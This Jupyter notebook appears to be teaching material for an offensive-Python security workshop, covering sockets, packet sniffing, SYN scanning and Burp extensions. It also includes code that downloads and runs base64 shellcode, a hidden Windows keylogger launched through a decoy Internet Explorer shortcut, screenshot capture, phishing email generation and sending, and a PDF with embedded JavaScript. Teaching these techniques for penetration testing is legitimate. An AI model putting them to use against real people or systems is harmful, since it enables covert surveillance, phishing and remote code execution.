Skip to content

Instantly share code, notes, and snippets.

@fheisler
Last active December 19, 2022 07:15
Show Gist options
  • Save fheisler/3d084b7f50582ff8e0a17cfee545c549 to your computer and use it in GitHub Desktop.
Save fheisler/3d084b7f50582ff8e0a17cfee545c549 to your computer and use it in GitHub Desktop.
Hunter2: Offensive Python Workshop
Display the source blob
Display the rendered blob
Raw
{
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"<center>\n",
" <h1>Hunter2: Offensive Python workshop</h1>\n",
" <img style=\"height:200px\" src=\"https://avatars2.githubusercontent.com/u/34970458\">\n",
"</center>\n",
"\n",
"### https://hunter2.com\n",
"### [email protected]"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### Motivation:\n",
"\n",
"#### Why custom scripts?\n",
"- Working on systems without services installed\n",
"- Working around a firewall/security system\n",
"- Crafting custom tools\n",
"- More fully understanding how systems and tools work\n",
"\n",
"#### Why Python?\n",
"- Free\n",
"- Commonly found + easy to install\n",
"- Flexible and extensible\n",
"- Many existing modules\n",
"- Large community"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## OS basics"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"import os\n",
"\n",
"print(os.environ)\n",
"\n",
"print(os.getcwd())\n",
"\n",
"os.listdir(\".\")"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Directory walking\n",
"\n",
"import os\n",
"\n",
"keys_dir = os.path.expanduser('~/Applications/') # expand from a user's local directory into /.ssh\n",
"if os.path.isdir(keys_dir):\n",
" for folder, subfolders, files in os.walk(keys_dir):\n",
" print('Directory: %s' % folder)\n",
" for fname in files:\n",
" print('\\tFile: %s' % fname)"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Running shell commands\n",
"import subprocess\n",
"\n",
"# v1: pass a list, starting with the command to run followed by args\n",
"print(subprocess.check_output(['ls', '-a']).decode())\n",
"\n",
"# v2: use threads and Popen for more customization (partial example)\n",
"proc = subprocess.Popen('pwd', stdout=subprocess.PIPE)\n",
"proc.wait()\n",
"for line in proc.stdout:\n",
" print(line.decode())\n",
"\n",
"# v3: pass shellcode directly to the default shell\n",
"print(subprocess.check_output(\"ls -a | wc -l\", shell=True).decode())"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Also available in Jupyter notebooks directly\n",
"!pwd"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"%%ruby\n",
"\n",
"# Run other languages directly in notebook\n",
"puts \"hello ruby\""
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Other magic available\n",
"%lsmagic"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Creating clients and servers"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### Basic sockets"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Simple HTTP server\n",
"! python -m http.server\n",
"\n",
"#! python2 -m SimpleHTTPServer"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# TCP/IP client for raw HTTP traffic\n",
"\n",
"import socket\n",
"\n",
"target = (\"example.com\", 80)\n",
"\n",
"request = b\"\"\"\n",
"GET / HTTP/1.1\n",
"Host: example.com\n",
"\n",
"\"\"\" # note the extra empty line above to designate the end of the headers\n",
"\n",
"client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n",
"# for UDP, would use socket.SOCK_DGRAM and sendto() / recvfrom() without establishing a connection\n",
"\n",
"client.settimeout(5)\n",
"\n",
"client.connect(target)\n",
"client.send(request)\n",
"\n",
"response = client.recv(1024)\n",
"print(response.decode())"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# TCP server\n",
"\n",
"import socket\n",
"import threading\n",
"\n",
"target = ('localhost', 9001)\n",
"max_connections = 5\n",
"\n",
"# Create a TCP/IP socket, bind to the target, and listen for up to max_connections\n",
"sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n",
"sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # allow port reuse if connection hangs\n",
"sock.bind(target)\n",
"sock.listen(max_connections)\n",
"\n",
"def handle_client(client):\n",
" while True:\n",
" data = client.recv(16) # Receive 16 bytes at a time\n",
" if data:\n",
" print(b'Received \"%s\"' % data)\n",
" else:\n",
" break\n",
" client.sendall(b\"senpai noticed you\")\n",
" client.close()\n",
" print(\"Closed connection.\")\n",
"\n",
"while True:\n",
" client, addr = sock.accept()\n",
" print(\"Accepted connection from %s on port %s\" % addr)\n",
" client_handler = threading.Thread(target=handle_client, args=(client,))\n",
" client_handler.start()"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# TCP client (needs to be run in a separate process from the server above)\n",
"\n",
"import socket\n",
"\n",
"# Connect the socket to the port where the server is listening\n",
"server_address = ('localhost', 9001)\n",
"sock = socket.create_connection(server_address)\n",
"\n",
"message = b'Hello server. Please acknowledge me.'\n",
"\n",
"try:\n",
" print('Sending: %s\"' % message)\n",
" sock.sendall(message)\n",
" while True:\n",
" data = sock.recv(1024)\n",
" if data:\n",
" print('Received: %s' % data)\n",
" else:\n",
" break\n",
"finally:\n",
" sock.close()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### SSH server + client"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"#### Paramiko demo SSH server:\n",
"Visit https://github.com/paramiko/paramiko/tree/master/demos for the following files:\n",
"- `demo_server.py`\n",
"- `test_rsa.key` RSA demo private key\n",
"- `demo.py` client\n",
"- `interactive.py` for interactive shell, in same folder as `demo.py`\n",
"\n",
"username: `robey`, password: `foo`\n",
"\n",
"Point `demo_server.py` at the `test_rsa.key` file and set `DoGSSAPIKeyExchange` to be `False`"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Generating custom server keys\n",
"! openssl genrsa -des3 -out ssh_private.pem 2048\n",
"! openssl rsa -in ssh_private.pem -outform PEM -pubout -out ssh_public.pem"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### FTP server"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Uses twistd, Twisted daemon\n",
"# need to `pip install twisted` first\n",
"# `-n` flag runs Twisted synchronously in the foreground instead of as a background daemon\n",
"\n",
"! twistd -n ftp"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### Anonymous FTP client access"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"import ftplib\n",
"\n",
"for host in ['ftp.ubuntu.com', 'ftp.debian.org']:\n",
" try:\n",
" ftp = ftplib.FTP(host)\n",
" ftp.login() # no credentials passed\n",
" print('Succeeded at ' + str(host))\n",
" print(ftp.retrlines('LIST'))\n",
" ftp.quit()\n",
" except Exception:\n",
" print('Failed at ' + str(host))"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### SSH/DNS traffic tunnels: sshuttle\n",
"\n",
"https://github.com/apenwarr/sshuttle\n",
"\n",
"Video demo using Amazon EC2 for SSH tunneling: https://youtu.be/dl2FsIfHo84"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Capturing network packets"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### Scenarios:\n",
"- Open wifi sniffing\n",
"- Man-in-the-middle attacks\n",
"- Data exfiltration\n",
"- Custom honeypot\n",
"- Network debugging"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### Installing scapy:\n",
"\n",
"##### Easiest to use in a [Kali Linux VM](https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-hyperv-image-download/) as root:\n",
"\n",
"```\n",
"pip install scapy\n",
"pip install pcapy\n",
"```\n",
"\n",
"##### On MacOS/etc, easiest to run Scapy interactively:\n",
"\n",
"```\n",
"git clone https://github.com/secdev/scapy/\n",
"cd scapy/\n",
"sudo ./run_scapy_py3\n",
"```"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Sniff the next available packet\n",
"\n",
"from scapy.all import sniff\n",
"\n",
"sniff(prn=lambda p: p.show(), count=1)"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Sniff any ICMP traffic to/from Google Public DNS over the next 10 seconds\n",
"\n",
"from scapy.all import sniff\n",
"\n",
"# optionally pass iface=\"en0\" to specify e.g. en0 as the network interface for sniffing\n",
"pings = sniff(filter=\"icmp and host 8.8.8.8\", timeout=10)\n",
"pings.summary()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Custom packet crafting and port scanning "
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Ping a site and receive a single response\n",
"\n",
"from scapy.all import sr1, IP, ICMP\n",
"\n",
"ping_req = IP(dst=\"example.com\")/ICMP()/\"ABC123ABC123\"\n",
"\n",
"reply = sr1(ping_req)\n",
"\n",
"# Display the results in various formats\n",
"reply\n",
"reply.summary()\n",
"reply.show()"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Send SYN-ACK packet to Google and display replies\n",
"\n",
"from scapy.all import IP, TCP, sr1\n",
"\n",
"syn_ack = IP(dst=\"google.com\")/TCP(dport=80, flags=\"SA\")\n",
"reply = sr1(syn_ack, timeout=3)\n",
"\n",
"reply\n",
"# may be empty if unanswered; may be e.g. \"RST\""
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### Simple TCP SYN Scanner (or Flooder...)"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Summarize responses to SYN packets from specific ports\n",
"\n",
"from scapy.all import IP, TCP, sr\n",
"\n",
"packet = IP(dst=\"example.com\")/TCP(dport=[21,80,443], flags=\"S\")\n",
"ans, unans = sr(packet, timeout=5)\n",
"\n",
"# ans is a two-tuple of (source, reply)\n",
"ans.summary(lambda a: a[1].sprintf(\"Port: %TCP.sport% \\t Flags: %TCP.flags%\"))"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Create a table of responses across multiple IPs\n",
"\n",
"from scapy.all import IP, TCP, sr\n",
"\n",
"packet = IP(dst=[\"example.com\", \"microsoft.com\", \"ftp.ubuntu.com\"])/TCP(dport=[21,80,443], flags=\"S\")\n",
"a, u = sr(packet, timeout=5)\n",
"a.make_table(lambda a: (a[0].dst, a[0].dport, \"X\"))"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Web scraping and browser automation"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Get a webpage using built-in urllib\n",
"\n",
"# Python2: import urllib2\n",
"from urllib.request import urlopen\n",
"\n",
"response = urlopen(\"https://example.com\")\n",
"print(response.read().decode())"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Get a webpage using requests\n",
"\n",
"import requests\n",
"\n",
"response = requests.get(\"https://example.com\")\n",
"print(\"Status code: {}\".format(response.status_code))\n",
"print(response.content.decode())"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### Scenarios:\n",
"- Keep tabs on a website and respond quickly to changes\n",
"- Automate bulk/repeated browser actions\n",
"- Custom site crawler"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Grab the current stock price of YHOO\n",
"\n",
"import requests\n",
"from bs4 import BeautifulSoup\n",
"\n",
"custom_headers = {\n",
" 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:27.0) Gecko/20100101 Firefox/27.0',\n",
"}\n",
"\n",
"# ^GSPC, the S&P 500\n",
"url = \"http://finance.yahoo.com/q?s=%5EGSPC\"\n",
"\n",
"response = requests.get(url, headers=custom_headers)\n",
"soup = BeautifulSoup(response.content, 'lxml')\n",
"\n",
"# Search HTML for unique tags around the price\n",
"tags = soup.find_all(\"span\", attrs={'data-reactid': '35'})\n",
"price = tags[0].string\n",
"print(price)\n",
"\n",
"tags = soup.find_all(\"span\", attrs={'data-reactid': '36'})\n",
"delta = tags[0].string\n",
"print(delta)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### Custom scripts to extend existing tools\n",
"\n",
"#### Burp Suite Extender\n",
"\n",
"- Automate manual/complex tasks\n",
"- Work with special encoding or unusual data structures (custom serialization)\n",
"- Have more granular control of request and response data\n",
"- Extend attack logic (e.g. while spidering a site, try a simple attack on all pages matching X)"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# First download and install Jython standalone JAR (Python running on Java): jython.org/downloads.html\n",
"# Then point Burp Suite > Extender > Options > Python Environment at the downloaded .jar file\n",
"\n",
"# The following code goes into a separate .py file loaded into Burp Suite > Extender > Extensions\n",
"\n",
"from burp import IBurpExtender\n",
"\n",
"class BurpExtender(IBurpExtender):\n",
" def registerExtenderCallbacks(self, callbacks):\n",
" callbacks.setExtensionName(\"L33t 3xt3ns10n\")\n",
" callbacks.issueAlert(\"Hello alerts tab\")\n",
"\n",
"# Once loaded, check Burp Suite's Alerts tab on the far right for output from the extension"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"#### First, a minor diversion - simple Python server for a login page:"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# The page shows the current user when the correct credentials (admin/p@ssw0rd) are supplied\n",
"\n",
"# Python2:\n",
"# from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer\n",
"# from urlparse import parse_qsl\n",
"\n",
"from http.server import BaseHTTPRequestHandler, HTTPServer\n",
"from urllib.parse import parse_qsl\n",
"from base64 import b64decode\n",
"\n",
"class SimpleServe(BaseHTTPRequestHandler):\n",
" page = \"\"\"\n",
" <html><body>\n",
" <form method=\"POST\">\n",
" Username: <input type=\"text\" name=\"user\" required><br />\n",
" Password: <input type=\"password\" name=\"pwd\" required><br />\n",
" <button type=\"submit\">Login</button>\n",
" </form>\n",
" Current logged-in user: <span id=\"current-user\">{}</span>\n",
" </body></html>\n",
" \"\"\"\n",
"\n",
" def _respond(self, user):\n",
" self.send_response(200)\n",
" self.send_header('Content-type', 'text/html')\n",
" self.end_headers()\n",
" self.wfile.write(self.page.format(user).encode())\n",
"\n",
" def do_GET(self):\n",
" self._respond(\"-\")\n",
"\n",
" def do_POST(self):\n",
" content_length = int(self.headers.get('Content-Length'))\n",
" post_data = self.rfile.read(content_length)\n",
" params = dict(parse_qsl(post_data))\n",
" # Python2: not byte strings below!\n",
" if b64decode(self.headers.get('Authorization', '')) != params.get(b'user'):\n",
" self._respond(\"UNAUTHORIZED\")\n",
" elif params.get(b'user') == b'admin' and params.get(b'pwd') == b'p@ssw0rd':\n",
" self._respond(\"admin\")\n",
" else:\n",
" self._respond(\"-\")\n",
"\n",
"s = HTTPServer(('', 8088), SimpleServe)\n",
"s.serve_forever()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"#### Burp Suite extension for modifying requests"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Burp Suite Python extension for client-side signing of requests\n",
"# use processProxyMessage to rewrite outbound traffic\n",
"\n",
"from burp import IBurpExtender, IProxyListener\n",
"from base64 import b64encode\n",
"\n",
"class BurpExtender(IBurpExtender, IProxyListener):\n",
" def registerExtenderCallbacks(self, callbacks):\n",
" self._helpers = callbacks.getHelpers()\n",
" callbacks.registerProxyListener(self)\n",
" callbacks.setExtensionName(\"Add Custom Auth Header\")\n",
"\n",
" def processProxyMessage(self, is_request, message):\n",
" if not is_request:\n",
" return\n",
"\n",
" request = message.getMessageInfo()\n",
" request_data = self._helpers.analyzeRequest(request)\n",
" body_raw = request.getRequest()[request_data.getBodyOffset():]\n",
" body = self._helpers.bytesToString(body_raw)\n",
"\n",
" headers = list(request_data.getHeaders())\n",
" params = list(request_data.getParameters())\n",
" for param in params:\n",
" if param.name == 'user':\n",
" username = str(param.value)\n",
" headers.append(\"Authorization: \" + b64encode(username))\n",
" break\n",
"\n",
" new_message = self._helpers.buildHttpMessage(headers, body)\n",
" print(self._helpers.bytesToString(new_message))\n",
" request.setRequest(new_message)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Exploit development"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### Execute shell code"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Create a payload file to be served (locally, in this example)\n",
"\n",
"from base64 import b64encode\n",
"\n",
"# shellcode payload to be base64-encoded\n",
"payload = b64encode(b\"\"\"\n",
"echo 'hello target'\n",
"pwd\n",
"\"\"\").decode()\n",
"\n",
"# save code as a file\n",
"! echo \"{payload}\" > exploit\n",
"\n",
"# serve the file (needs to be running separate instance from the execution below)\n",
"! python -m http.server\n",
"\n",
"#! python2 -m SimpleHTTPServer"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Grab shell code from the web and execute it\n",
"\n",
"# Python2: from urllib2 import urlopen\n",
"from urllib.request import urlopen\n",
"from base64 import b64decode\n",
"import subprocess\n",
"\n",
"response = urlopen(\"http://localhost:8000/exploit\")\n",
"code = b64decode(response.read())\n",
"\n",
"for line in code.decode().split('\\n'):\n",
" print(subprocess.check_output(line, shell=True).decode())"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### Keylogging on Windows"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# PyHook for capturing Windows events\n",
"\n",
"# First install pyHook on Windows:\n",
"# http://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook\n",
"# Download pyHook‑1.5.1‑cp27‑cp27m‑win32.whl\n",
"# pip install pyHook‑1.5.1‑cp27‑cp27m‑win32.whl\n",
"\n",
"# Also pip install pypiwin32 (for pythoncom module)\n",
"\n",
"\n",
"###### launch.bat file to replicate Internet Explorer as a shortcut:\n",
"@echo off\n",
"start \"\" \"c:\\logger.pyw\"\n",
"start \"\" \"c:\\program files (x86)\\internet explorer\\iexplore.exe\"\n",
"######\n",
"\n",
"###### .PYW file to run in the background without console output:\n",
"import pyHook\n",
"import pythoncom\n",
"import logging\n",
"\n",
"log = \"C:\\\\Users\\\\myname\\\\log.txt\"\n",
"\n",
"def OnKeyboardEvent(event):\n",
" logging.basicConfig(filename=log, level=logging.DEBUG, format='%(message)s')\n",
" chr(event.Ascii)\n",
" logging.log(10, chr(event.Ascii))\n",
" return True\n",
"\n",
"hooks_manager = pyHook.Hook2Manager()\n",
"hooks_manager.KeyDown = OnKeyboardEvent\n",
"hooks_manager.HookKeyboard()\n",
"pythoncom.PumpMessages()"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# PyWin32 for screenshots\n",
"\n",
"import win32gui, win32ui, win32con, win32api\n",
"\n",
"hwin = win32gui.GetDesktopWindow()\n",
"width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)\n",
"height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)\n",
"left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)\n",
"top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)\n",
"hwindc = win32gui.GetWindowDC(hwin)\n",
"srcdc = win32ui.CreateDCFromHandle(hwindc)\n",
"memdc = srcdc.CreateCompatibleDC()\n",
"bmp = win32ui.CreateBitmap()\n",
"bmp.CreateCompatibleBitmap(srcdc, width, height)\n",
"memdc.SelectObject(bmp)\n",
"memdc.BitBlt((0, 0), (width, height), srcdc, (left, top), win32con.SRCCOPY)\n",
"bmp.SaveBitmapFile(memdc, 'C:\\\\Users\\\\myname\\\\Downloads\\\\screenshot.bmp')\n"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### Evading detection\n",
"- Encryption/obfuscation\n",
"- Sandbox detection\n",
"- PyInstaller\n",
"- Custom code\n",
"- Hooks and pivots"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Automated phishing"
]
},
{
"cell_type": "markdown",
"metadata": {
"collapsed": true
},
"source": [
"### Scraping and creatively reusing information\n",
"\n",
"Related projects to check out:\n",
"- [lyricize](https://github.com/fheisler/lyricize): Markov chains to generate lyrics\n",
"- [natural language processing on Gmail messages](http://engineroom.trackmaven.com/blog/monthly-challenge-natural-language-processing/) using [NLTK](http://www.nltk.org/)"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# pip install pymarkovchain\n",
"\n",
"import requests\n",
"from bs4 import BeautifulSoup\n",
"from pymarkovchain import MarkovChain\n",
"import re\n",
"\n",
"target = \"https://www.digitalunite.com/guides/email/how-send-email\"\n",
"response = requests.get(target)\n",
"\n",
"# Find any email addresses on page\n",
"emails = re.findall(r'[\\w\\.-]+@[\\w\\.-]+', response.text)\n",
"print(\"Possible addresses found: %s\\n\" % emails)\n",
"\n",
"# Gather visible text on target page\n",
"soup = BeautifulSoup(response.text, 'lxml')\n",
"snippets = soup.body.findAll(lambda s: not s.name in ['style', 'script'], text=True)\n",
"bag = ' '.join([snip.text.strip() for snip in snippets])\n",
"\n",
"# Generate new text similar to existing page content\n",
"mc = MarkovChain()\n",
"mc.generateDatabase(bag)\n",
"\n",
"subject = mc.generateString()[:40]\n",
"body = mc.generateString()[:300] + '\\n' + mc.generateString()[:300]\n",
"\n",
"print(\"Subject: %s\\n\" % subject)\n",
"print(\"Body:\\n%s\" % body)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### Sending SMTP emails"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"import smtplib\n",
"from email.mime.multipart import MIMEMultipart\n",
"from email.mime.text import MIMEText\n",
"\n",
"sender = \"[email protected]\"\n",
"receiver = \"[email protected]\"\n",
"\n",
"msg = MIMEMultipart()\n",
"msg['From'] = sender\n",
"msg['To'] = receiver\n",
"msg['Subject'] = \"test\"\n",
"body = MIMEText(\"click my <a href='https://youtu.be/dQw4w9WgXcQ'>link</a> please\", 'html')\n",
"msg.attach(body)\n",
"\n",
"mail = smtplib.SMTP('smtp.gmail.com', 587)\n",
"mail.ehlo()\n",
"mail.starttls()\n",
"mail.login('my_gmail_username', 'my_password')\n",
"mail.sendmail(sender, receiver, msg.as_string())\n",
"mail.close()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### Create malicious PDF with embedded JS"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Using [make-pdf tools from Didier Stevens](https://blog.didierstevens.com/programs/pdf-tools/)\n",
"\n",
"Download: https://didierstevens.com/files/software/make-pdf_V0_1_6.zip\n",
"\n",
"Place `make-pdf-javascript.py` and `mPDF.py` in your current working directory."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Works with Python2; for Python3, will need to remove print statements and update resulting byte-strings\n",
"\n",
"# Save a payload into a JS file\n",
"! echo \"app.alert({cMsg: 'Hello PDF', cTitle: 'Testing PDF JavaScript', nIcon: 3});\" > payload.js\n",
"\n",
"# Run make-pdf-javascript utility to embed payload into a new PDF file\n",
"! python make-pdf-javascript.py -f payload.js demo.pdf"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"scrolled": true
},
"outputs": [],
"source": [
"ls"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Other resources\n",
"\n",
"Paid products:\n",
"- [Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers](https://www.amazon.com/Violent-Python-Cookbook-Penetration-Engineers/dp/1597499579)\n",
"- [Black Hat Python](https://www.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900)\n",
"- [Didier Stevens Labs](http://didierstevenslabs.com/products.html)\n",
"- [Real Python](https://realpython.com)\n",
"\n",
"Free:\n",
"- (PDF) [Writing Basic Security Tools Using Python](http://www.binary-zone.com/course/HTID/Python4Infosec.pdf)\n",
"- [Twisted example scripts](http://twistedmatrix.com/documents/current/core/examples/)"
]
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.6.5"
}
},
"nbformat": 4,
"nbformat_minor": 2
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment